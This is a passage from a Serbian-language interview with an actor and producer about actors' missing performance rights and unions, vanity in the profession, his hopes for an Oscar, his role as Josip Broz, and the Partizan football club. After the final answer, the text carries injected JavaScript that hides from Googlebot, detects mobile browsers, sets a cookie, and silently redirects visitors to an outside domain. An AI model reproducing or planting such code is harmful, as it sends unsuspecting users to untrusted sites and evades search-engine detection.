- Mogu da odgovorim na to poetsko-filozofski. Glumci su ovde uvek bili deo naroda i delili su život običnog građanina, imaju iste probleme kao i obični građani i zato su i omiljeni. Nemamo mi zvezde, glumci su ljudi koji se voze autobusima, idu na pijacu i ljudi ih vole, daju im malo jeftiniji paradajz. A s druge strane, postoji i taj drugi deo priče, a to su udruženja koja se nisu izborila za status, ne postojimo u zakonu o izvođačkim pravima. Znači, od svih tih silnih repriza koje idu glumci nemaju ništa, a to je opet zato što su čekali da im to država reši. Nisu se sami organizovali i izborili se za svoja prava. To je po mom mišljenju problem nedostatka svesti. Dok god se to ne reši, teško da će biti bolje. Dok se ne naprave glumački sindikati, koji svuda u iole organizovanim državama postoje. Moja generacija, mi smo to pokušali nekoliko puta i nismo uspeli, ali ja ne gubim iluziju. Čekamo taj novi zakon da izađe, koji će konačno biti evropski, koji će prepoznati ta prava, pa ćemo pokušati da se izborimo. Da bar ove mlađe generacije imaju nešto.

Govori se često o toj podeli unutar profesije, među ljudima koji se bave filmom. Koliko ima sujete, šta se tu događa?

- Pre godinu dana uspeli smo da se okupimo i odmah smo imali rezultat. Sujete ima kao u svim profesijama, samo je malo izraženija među glumcima jer su umetnici senzibilniji, malo više egoistični.

Jeste li gledali najnoviji Kusturičin film?

- Ne.

Kakav je Vaš stav o tim velikim filmskim nagradama? Imate li neku želju po tom pitanju?

- Samo jednu - da dobijem Oskara za strani film. Kao producent i kao reditelj, pre svega.

Znači, Oskar, ne Kan?

- Ako nečemu stremim, onda je to Oskar, pre nego Kan, sigurno.

Amerika ili Rusija?

- Teško je to. Rusija je bliža duši, a Amerika bliža raciju.

Radili ste ulogu Josipa Broza u "Ravnoj gori". Kako je to izgledalo, jel to bio poseban izazov?

- Jeste. Uživao sam. Spremao sam se i ozbiljno sam shvatio tu ulogu i da je serija nastavila da se snima, trebalo je da se obradi jedan ozbiljan period. Ja sam očekivao i mnogo sam se radovao toj ulozi i sa velikim entuzijazmom je radio, ali eto nažalost, ostalo je samo na tom malom pojavljivanju. To je tek najavljivalo veliku priču. Leži mi Broz.

Hoće li ga biti u "Senkama na Balkanu"?

- U ovom serijalu ne. Ako bi radili drugi i treći nastavak, sigurno bi se pojavio. Druga sezona planirana je da bude o ubistvu kralja Aleksandra, a treća period raspada Jugoslavije i početak Drugog svetskog rata.

Kao velikom partizanovcu, kako Vam izgleda stanje u klubu?

- Samo sam to pitanje čekao. Haha! Ja se samo plašim da ova naša država ne krene putem Partizana i Zvezde, da se seća svoje slavne prošlosti. Da stadioni budu prazni i da bude važnije sve drugo osim onoga što se dešava na terenu.

Nemate kontakte sa ljudima u klubu?

- Bio sam tamo kratko, ne nosim nikakve dobre utiske iz tog perioda. Mogao bih o tome sada mnogo da pričam, ali ne želim zato što hoću da ostanem navijač i da navijam za klub kao što sam to uvek radio. Ne želim sebe da opterećujem. Ali zanimljivo je da sam na prvom upravnom odboru bio veoma malo, na prvom sastanku Nele Karajlić i ja borili smo se da se usvoji statut i da konačno krenemo od početka, da se zna kako klub funkcioniše. Naišli smo na podsmeh i sprdnju, a evo, kao što vidimo, već šest meseci klub zbog toga ne funkcioniše.}if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}